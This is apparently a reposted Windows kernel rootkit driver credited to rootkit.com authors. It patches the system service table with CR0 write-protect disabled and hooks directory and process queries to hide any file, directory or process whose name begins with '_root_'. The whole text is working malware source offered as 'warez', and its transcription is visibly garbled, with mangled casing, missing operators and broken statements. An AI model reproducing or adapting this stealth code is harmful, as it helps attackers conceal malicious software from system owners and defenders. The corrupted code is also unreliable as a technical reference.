Basic Rootkit That Hides Files, Directories, And Processes

xiaoxiao2021-03-06  26

// Basic Rootkit That Hides Files, Directories, and Processes

/ / -------------------------------------------------------------------------------------------- ------------

// v0.1 - Initial, Greg Hoglund (Hoglund@rootkit.com)

// v0.2 - Direntry struct fixed, b00lean (b00lean@rootkit.com)

// v0.7 - hidden file in first call to findfirstfile fix, j0ep@rootkit.com

// xp serviceDescriptable read Only Fix, J0Epub@rootkit.com

// Latter of 2 Hidden Process Fix, J0Epub@rootkit.com

/ / -------------------------------------------------------------------------------------------- ------------

// visit www.rootkit.com for Latest Rootkit Warez

/ / -------------------------------------------------------------------------------------------- ------------

#include "ntddk.h"

#include "stdarg.h"

#include "stdio.h"

#include "ntiologc.h"

#define DWORD unsigned long

#define word unsigned short

#define bool unsigned long

#define strhide "_root_"

#define strhidew l "_root_"

#define hidelen (SIZEOF (STRHIDE) - 1)

#define hidelenb (Sizeof (STRHIDEW) - 2)

// Length of process name (Rounded Up to Next Dword)

#define procnamelen 20

// Maximum Length of NT Process Name

#define NT_Procnamelen 16

Ulong gprocessnameoffset;

TypeDef struct _filetime {// ft

DWORD DWLOWDATETIME;

DWORD DWHIGHDATETIME;

} Filetime;

#pragma pack (1)

Typedef struct service {

Unsigned Int * ServiceTableBase;

Unsigned int * service; // buy only in checked build

Unsigned int numberofservices;

Unsigned char * paramtablebase;

} ServicesDescriptAblentry_t, * pserviceDescriptableentRY_T;

#pragma pack ()

__Declspec (DLLIMPORT) ServiceDescriptAblentry_t keserviceDescriptable;

#define systemservice (_function) keserviceDescriptable.serviceTableBase [* (pulong) ((pulong) _function 1)] struct _system_threads

{

Large_integer kernetime;

Large_integer usertime;

Large_integer createtime;

Ulong Waittime;

Pvoid ​​Startaddress;

Client_id clientis;

KPRIORITY PRIORITY

KPRIORITY BASEPRIORITY

Ulong contextswitchcount;

Ulong threadState;

Kwait_reason waitreason;

}

Struct _system_processes

{

Ulong nextentryDelta;

Ulong threadcount;

Ulong reserved [6];

Large_integer createtime;

Large_integer usertime;

Large_integer kernetime;

Unicode_string processname;

KPRIORITY BASEPRIORITY

Ulong processid;

Ulong inheritedFromProcessId;

Ulong handlecount;

Ulong reserved2 [2];

VM_Counters vmcounters;

IO_COUNTERS IOCOUNTERS; // Windows 2000 ONLY

Struct _system_threads throughs [1];

}

#if 0

Typedef enum _wxpfile_information_class {

// end_wdm

FileDirectoryInformation = 1,

FILEFULDIRECTORYINFORMATION, // 2

FilebothDirectoryInformation, // 3

Filebasicinformation, // 4 WDM

FILESTANDARDINFORMATION, // 5 WDM

FILEINTERNALINFORMATION, / / ​​6

Fileeainformation, // 7

FileAccessInformation, // 8

FileNameInformation, // 9

FilerenameInformation, // 10

FileLinkInformation, // 11

FilenamesInformation, // 12

FiledisPositionInformation, // 13

FilePositionInformation, // 14 WDM

FILEFULLEAINFORMATION, / / ​​15FILEMODEINFORMATION, / / ​​16

FileAlignmentInformation, // 17

FileAllInformation, // 18

FileAlocationInformation, // 19

Filendoffileinformation, // 20 WDM

FileAlternatenameInformation, // 21

FILESTREAMINFORMATION, / / ​​22

FilePipeInformation, // 23

FilePipeLocalInformation, // 24

FilepiperemoteInformation, // 25

FileMailslotQueryInformation, // 26

FileMailslotsetInformation, // 27

FilecompressionInformation, // 28

FileObjectidInformation, // 29

FileCompletioninformation, // 30

FilemoveClusterInformation, // 31

FilequotainFormation, // 32

FileReparsepointInformation, // 33

FilenetworkopenInInformation, // 34

FileAttributeTaginformation, // 35

FileTrackingInformation, // 36

FileIDBothDirectoryInformation // 37

FileidFullDirectoryInformation, // 38

FileValidDatalengthInformation, // 39

FileshortNameInformation, // 40

FileMaximumization

// begin_wdm

} WXPFILE_INFORMATION_CLASS, * PWXPFILE_INFORMATION_CLASS;

#ENDIF

Typedef struct _file_directory_information {

Ulong nextentryoffset;

Ulong fileIndex;

Large_integer credectime;

Large_integer lastaccesstime;

Large_integer lastwritetime;

Large_integer changetime;

Large_integer endoffile;

Large_integer allocationsize;

Ulong FileAttributes;

Ulong filenamelength;

Wchar filename [1];

} File_directory_information, * pfile_directory_information;

Typedef struct _file_full_dir_information {

Ulong nextentryoffset;

Ulong fileIndex;

Large_integer credectime;

Large_integer lastaccesstime;

Large_integer lastwritetime;

Large_integer changetime;

Large_integer endoffile;

Large_integer allocationsize; ulong fileattribute;

Ulong filenamelength;

Ulong Easize;

Wchar filename [1];

} File_full_dir_information, * pfile_full_dir_information;

Typedef struct _file_id_full_dir_information {

Ulong nextentryoffset;

Ulong fileIndex;

Large_integer credectime;

Large_integer lastaccesstime;

Large_integer lastwritetime;

Large_integer changetime;

Large_integer endoffile;

Large_integer allocationsize;

Ulong FileAttributes;

Ulong filenamelength;

Ulong Easize;

Large_integer fileid;

Wchar filename [1];

} File_id_ffull_dir_information, * pfile_id_ffull_dir_information;

Typedef struct _file_both_dir_information {

Ulong nextentryoffset;

Ulong fileIndex;

Large_integer credectime;

Large_integer lastaccesstime;

Large_integer lastwritetime;

Large_integer changetime;

Large_integer endoffile;

Large_integer allocationsize;

Ulong FileAttributes;

Ulong filenamelength;

Ulong Easize;

Cchar ShortnaMelength;

Wchar ShortName [12];

Wchar filename [1];

} File_both_dir_information, * pfile_both_dir_information;

TYPEDEF STRUCT _FILE_ID_BOTH_DIR_INFORMATION {

Ulong nextentryoffset;

Ulong fileIndex;

Large_integer credectime;

Large_integer lastaccesstime;

Large_integer lastwritetime;

Large_integer changetime;

Large_integer endoffile;

Large_integer allocationsize;

Ulong FileAttributes;

Ulong filenamelength;

Ulong Easize;

Cchar ShortnaMelength;

Wchar ShortName [12];

Large_integer fileid;

Wchar filename [1];

} File_id_both_dir_information, * pfile_id_both_dir_information;

Typedef struct _file_names_information {

Ulong nextentryoffset;

Ulong fileIndex;

Ulong filenamelength;

Wchar filename [1];

} File_names_information, * pfile_names_information;

NTSYSAPI

NTSTATUS

NTAPI

ZwQueryDirectoryFile (in Handle Hfile,

In Handle HEVENT OPTIONAL,

In Pio_APC_Routine IoapCroutine Optional,

In Pvoid ​​IoapcContext Optional,

OUT PIO_STATUS_BLOCK PIOSTATUSBLOCK,

Out pvoid fileinformationBuffer,

In Ulong FileinformationBufferlength,

IN file_information_class fileinfoclass,

In Boolean Breturnonlyneentry,

In Punicode_String Pathmask Optional,

In Boolean BrestartQuery

);

NTSYSAPI

NTSTATUS

NTAPI ZWQUERYSYSTEMINFORMATION

In Ulong SystemInformationClass,

In Pvoid ​​SystemInformation,

In Ulong SystemInformationLength,

OUT Pulong ReturnLength;

Typedef ntstatus (* zwQuerydirectoryFile)

Handle Hfile,

Handle HEVENT,

PIO_APC_ROUTINE IOAPCROUTINE,

PVOID IOAPCCONTEXT,

PIO_STATUS_BLOCK PIOSTATUSBLOCK,

Pvoid ​​FileinformationBuffer,

Ulong fileinformationBufferLength,

FILE_INFORMATION_CLASS FILEINFOCLASS,

Boolean BreturnonlyNeentry,

Punicode_string pathmask,

Boolean BRESTARTQUERY

);

Typedef NTSTATUS (* ZwQuerySystemInformation)

Ulong SystemInformationClass,

PVOID SystemInformation,

Ulong SystemInformationLength,

Pulong ReturnLength

);

ZwQuerySystemInformation OldzwQuerySystemInformation;

ZWQueryDirectoryFile OldzwQueryDirectoryFile;

Void getProcessNameOffset ()

{

Peprocess curproc;

INT I;

Curproc = psgetcurrentprocess ();

For (i = 0; i <3 * Page_size; i )

{

IF (! "," system ", (pchar) Curproc i, Strlen (" System "))))))))

{

GProcessNameOffset = i;

}

}

}

Bool getProcessName (Pchar Thename)

{

Peprocess curproc;

Char * nameptr;

Ulong i;

KIRQL Oldirql;

IF (gprocessnameoffset)

{

Curproc = psgetcurrentprocess ();

Nameptr = (PCHAR) CURPROC GPROCESSNAMEOFFSET;

STRNCPY (THENAME, NAMEPTR, NT_PROCNAMELEN); Thename [nt_procnamelen] = 0; / * NULLAT End * /

Return True;

}

Return False;

}

DWORD getDirentrylentnext

In Pvoid ​​FileinformationBuffer,

IN file_information_class fileinfoclass

)

{

DWord Result = 0;

Switch (fileInfoclass) {

Case FileDirectoryInformation:

Result = ((pfile_directory_information) fileinformationBuffer -> NEXTENTRYOFFSET;

Break;

Case FileFullDirectoryInformation:

Result = ((pfile_full_dir_information) fileinformationBuffer -> nextentryoffset;

Break;

Case FileidFullDirectoryInformation:

Result = ((pfile_id_ffull_dir_information) fileinformationBuffer -> nextentryoffset;

Break;

Case FilebothDirectoryInformation:

Result = ((pfile_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET;

Break;

Case FileIDBothDirectoryInformation:

Result = ((pfile_id_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET;

Break;

Case FileNamesinformation:

Result = ((pfile_names_information) FileinformationBuffer -> NEXTENTRYOFFSET;

Break;

}

Return Result;

}

Void setDirentrylentnext

In Pvoid ​​FileinformationBuffer,

IN file_information_class fileinfoclass,

In dword value

)

{

Switch (fileInfoclass) {

Case FileDirectoryInformation:

((Pfile_directory_information) fileinformationBuffer -> NEXTENTRYOFFSET = VALUE

Break;

Case FileFullDirectoryInformation:

((Pfile_full_dir_information) fileinformationBuffer -> next = value;

Break;

Case FileidFullDirectoryInformation:

((Pfile_id_full_dir_information) fileinformationBuffer -> NEXTENTRYOFFSET = VALUE

Break;

Case FilebothDirectoryInformation:

((Pfile_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET = VALUE; Break;

Case FileIDBothDirectoryInformation:

((Pfile_id_both_dir_information) FileinformationBuffer -> NEXTENTRYOFFSET = VALUE

Break;

Case FileNamesinformation:

((Pfile_names_information) FileinformationBuffer -> NEXTENTRYOFFSET = VALUE

Break;

}

}

PVOID GETDIRENTRYFILENAME

In Pvoid ​​FileinformationBuffer,

IN file_information_class fileinfoclass

)

{

Pvoid ​​Result = 0;

Switch (fileInfoclass) {

Case FileDirectoryInformation:

Result = (pvoid) & (pfile_directory_information) fileinformationBuffer -> filename [0];

Break;

Case FileFullDirectoryInformation:

Result = (pvoid) & (pfile_full_dir_information) fileinformationBuffer -> filename [0];

Break;

Case FileidFullDirectoryInformation:

Result = (pvoid) & (pfile_id_full_dir_information) fileinformationBuffer -> filename [0];

Break;

Case FilebothDirectoryInformation:

Result = (pvoid) & (pfile_both_dir_information) FileinformationBuffer -> filename [0];

Break;

Case FileIDBothDirectoryInformation:

Result = (pvoid) & (pfile_id_both_dir_information) FileinformationBuffer -> filename [0];

Break;

Case FileNamesinformation:

Result = (pvoid) & (pfile_names_information) FileinformationBuffer -> filename [0];

Break;

}

Return Result;

}

Ulong getDirentryfilelength

In Pvoid ​​FileinformationBuffer,

IN file_information_class fileinfoclass

)

{

Ulong result = 0;

Switch (fileInfoclass) {

Case FileDirectoryInformation:

Result = (ulong) (pfile_directory_information) FileinformationBuffer -> FileNameLength;

Break;

Case FileFullDirectoryInformation:

Result = (Ulong) FileinformationBuffer -> FileNameLength; Break;

Case FileidFullDirectoryInformation:

Result = (ULONG) (pfile_id_ffull_dir_information) FileinformationBuffer -> FileNameLength;

Break;

Case FilebothDirectoryInformation:

Result = (ULONG) FileinformationBuffer -> FileNameLength;

Break;

Case FileIDBothDirectoryInformation:

Result = (ulong) (pfile_id_both_dir_information) FileinformationBuffer -> FileNameLength;

Break;

Case FileNamesinformation:

Result = (ulong) ((pfile_names_information) FileinformationBuffer -> FileNameLength;

Break;

}

Return Result;

}

NTSTATUS NewzwQueryDirectoryFile

In Handle Hfile,

In Handle HEVENT OPTIONAL,

In Pio_APC_Routine IoapCroutine Optional,

In Pvoid ​​IoapcContext Optional,

OUT PIO_STATUS_BLOCK PIOSTATUSBLOCK,

Out pvoid fileinformationBuffer,

In Ulong FileinformationBufferlength,

IN file_information_class fileinfoclass,

In Boolean Breturnonlyneentry,

In Punicode_String Pathmask Optional,

In Boolean BrestartQuery

)

{

NTSTATUS RC;

CHAR APROCESSNAME [procnamelen];

GetProcessName (AprocessName);

// DBGPrint ("Rootkit: NewzwQueryDirectoryFile () from% s / n", AprocessName);

RC = ((zwquerydirectoryfile) (OldzwQueryDirectoryFile))

Hfile, / * this is the directory handle * /

HEVENT,

IOAPCROUTINE,

IOAPCCONTEXT,

Piostatusblock,

FileInformationBuffer,

FileInformationBufferlength,

FileInfoclass,

BreturnonlyoneTry,

Pathmask,

BRESTARTQUERY);

IF (NT_Success (RC) &&

(FileInfoclass == fileDirectoryinformation ||

FileInfoclass == filefuldirectoryinformation ||

FileInfoclass == fileidfulldirectoryInformation ||

Fileinfoclass == filebothdirectoryInformation ||

FileInfoclass == fileidbothDirectoryInformation ||

FileInfoclass == filenamesinformation)

)

{

IF (0 == MEMCMP (AprocessName, Strhide, Hidelen)

{

DBGPRINT ("Rootkit: Detected File / Directory Query from _root_ Process / N");

}

Else

{

PVOID P = fileinformationBuffer;

PVOID PLAST = NULL;

Bool Blastone;

DO

{

Blastone =! getDirentrylentonext (p, fileinfoclass);

// Compare Directory-name prefix with '_root_' to decide if to hide or not.

IF (p, fileinfoClass> = hidelenb) {

IF (RTLCompareMemory, (P, FileInfoclass), (PVOID) strHidew, Hidelenb) == hidelenb)

{

IF (Blastone)

{

IF (p == fileinformationBuffer)

{

IF (! BRETURNONEENTRY)

Rc = status_no_more_files;

Else

{

// if we are only returning one entry kiln there could be

// More Files E.G. FindnextFile SO CALL AGAIN

// with Same Params - The Directory File Pointer Would Have

// Moved Forward SO it Should Get the next file in the list

RC = ((zwquerydirectoryfile) (OldzwQueryDirectoryFile))

Hfile, / * this is the directory handle * /

HEVENT,

IOAPCROUTINE,

IOAPCCONTEXT,

Piostatusblock,

FileInformationBuffer,

FileInformationBufferlength,

FileInfoclass,

BreturnonlyoneTry,

Pathmask,

BRESTARTQUERY);

IF (NT_Success (RC))

{

// Success - So Setur Current File Pointer and Skip

// the rest of the code and start the same loop again

P = fileinformationBuffer;

CONTINUE;

}

Else

Break; // failed SO Break and return status to Caller

}

}

Else SetDirentrylentnext (Plast, FileInfoclass, 0);

Break;

}

Else

{

INT IPOS = (Ulong) p) - (Ulong) FileinformationBuffer; INT ILEFT = (DWORD) FILEINFORMATIONBUFFERLENGTH - IPOS - GetDirentrylentnext (p, fileinfoclass);

RTLCopyMemory (P, (PVOID) ((char *) p getDirentrylentnext (p, fileInfoclass), (dword) ileft);

CONTINUE;

}

}

}

Plast = P;

P = ((char *) P getDirentrylentonext (p, fileinfoclass);

} while (!!);

}

}

Return (RC);

}

NTSTATUS NewzwQuerySystemInformation

In Ulong SystemInformationClass,

In Pvoid ​​SystemInformation,

In Ulong SystemInformationLength,

OUT Pulong ReturnLength

)

{

NTSTATUS RC;

CHAR APROCESSNAME [procnamelen];

GetProcessName (AprocessName);

// DBGPrint ("Rootkit: NewzwQuerySystemInformation () from% s / n", AprocessName);

RC = ((zwQuerySystemInformation) (OldzwQuerySystemInformation))

SystemInformationClass,

SystemInformation,

SystemInformationLength,

ReturnLength;

IF (NT_Success (RC))

{

// Double Check The Process Name, IF IT Starts W / '_Root_' Do Not

// Apply Any Stealth

IF (0 == Memcmp (AproCessName, "_root_", 6))

{

DBGPRINT ("Rootkit: detected system query from _root_ process / n");

}

ELSE IF (5 == SystemInformationClass)

{

// this is a process list, Look for Process Names That Start with

// '_root_'

Struct _system_processes * curr = (struct _system_processes *) SystemInformation;

Struct _system_processes * prev = null;

DBGPrint ("Rootkit: NewzwQuerySystemInformation () from% S / N", APROCESSNAME

While (Curr)

{

// struct _system_processes * next = ((char *) Curr = curr-> nextentryDelta);

Bool BMOD = FALSE;

ANSI_STRING process_name;

RTLUNICODESTRINGTOANSISTRING (& Process_name, & (Curr-> ProcessName), TRUE); IF (((0 process_name.length))

{

IF (0 == MEMCMP (Process_name.buffer, "_root_", 6))

{

//

// We Have a Winner!

//

Char _output [255];

CHAR _PNAME [255];

MEMSET (_PNAME, 0, 255);

Memcpy (_pname, process_name.buffer, process_name.length);

Sprintf (_output,

"Rootkit: Hiding Process, PID:% D / TNAME:% S / R / N",

Curr-> Processid,

_PNAME);

DBGPRINT (_OUTPUT);

IF (prev)

{

IF (Curr-> NEXTENTRYDELTA)

{

// make Prev Skip this entry

Prev-> NEXTENTRYDELTA = CURR-> NEXTENTRYDELTA;

BMOD = true; // flag to say what we have modified

}

Else

{

// We are last, so make prev the end

Prev-> NEXTENTRYDELTA = 0;

}

}

Else

{

IF (Curr-> NEXTENTRYDELTA)

{

// We are first in the list, SO Move It Forward

(char *) Systeminformation = curr-> nextentryDelta;

}

Else

{

// We are the only process!

Systeminformation = NULL;

}

}

}

}

RTLFreeansString (& Process_name);

Prev = Curr;

// this illustrates (i hope) What happenes to next entry delta when it is more Than More Than

// One Hidden Process Following After One Another.

// Before the FIX:

// Test1.exe -----------

// _root_test1.exe ----- | ---

// _root_test2.exe <---- | |

// Test2.exe <------------ |

// after FIX:

// Test1.exe -----------

// _root_test1.exe |

// _root_test2.exe |

// Test2.exe <----------

IF (! bmod)

Prev = Curr; // ONLY Modify Previous IF this Was Not a hidden entry

// Otherwise if the next entry is supposed to beh hidden

// Then IT Wont

IF (Curr-> NEXTENTRYDELTA) (CHAR *) Curr = Curr-> NEXTENTRYDELTA); Else Curr = NULL;

}

}

}

Return (RC);

}

NTSTATUS

Onstubdispatch

In PDEvice_Object DeviceObject,

In PIRP IRP

)

{

IRP-> iostatus.status = status_success;

IOCOMPLETEREQUEST (IRP,

IO_NO_INCREMENT

);

Return IRP-> iostatus.status;

}

Void Onunload (in PDRIVER_Object DriverObject)

{

DBGPrint ("rootkit: onunload caled / n");

_asm

{

CLI / / DISSABLE INTERRUPT

Mov Eax, Cr0 // Move CR0 Register INTO EAX

And Eax, NOT 10000H // Disable WP bit

MOV CR0, EAX / / WRITE Register Back

}

(ZwQueryDirectoryFile) = OldzwQueryDirectoryFile;

(ZWQuerySystemInformation) = OldzwQuerySystemInformation;

_asm

{

Mov Eax, Cr0 // Move CR0 Register INTO EAX

OR EAX, 1000H // Enable WP Bit

MOV CR0, EAX / / WRITE Register Back

STI // enable interrupt

}

}

NTSTATUS DRIVERENTRY (in PDRIVER_OBJECT THEDRIVEROBJECT, In Punicode_String ThegegistryPath)

{

INT I;

DBGPRINT ("My Driver Loaded!");

GetProcessNameOffset ();

// register a dispatch function

For (i = 0; i

{

THEDRIVEROBJECT-> Majorfunction [i] = onstubdispatch;

}

THEDRIVEROBJECT-> Driverunload = onunload;

// Save Old System Call Locations

Ilzwquerydirectoryfile = (zwQuerydirectoryFile);

Oldzwquerysysteminformation = (zwQuerySystemInformation);

_asm

{

CLI / / DISSABLE INTERRUPT

Mov Eax, Cr0 // Move CR0 Register INTO EAXAND EAX, NOT 10000H / / DISABLE WP BIT

MOV CR0, EAX / / WRITE Register Back

}

SystemService (ZWQueryDirectoryFile) = NewzwQueryDirectoryFile;

"SystemSystem (ZWQuerySystemInformation) = newzwQuerySystemInformation;

_asm

{

Mov Eax, Cr0 // Move CR0 Register INTO EAX

OR EAX, 1000H // Enable WP Bit

MOV CR0, EAX / / WRITE Register Back

STI // enable interrupt

}

Return status_success;

}

转载请注明原文地址:https://www.9cbs.com/read-58857.html

New Post(0)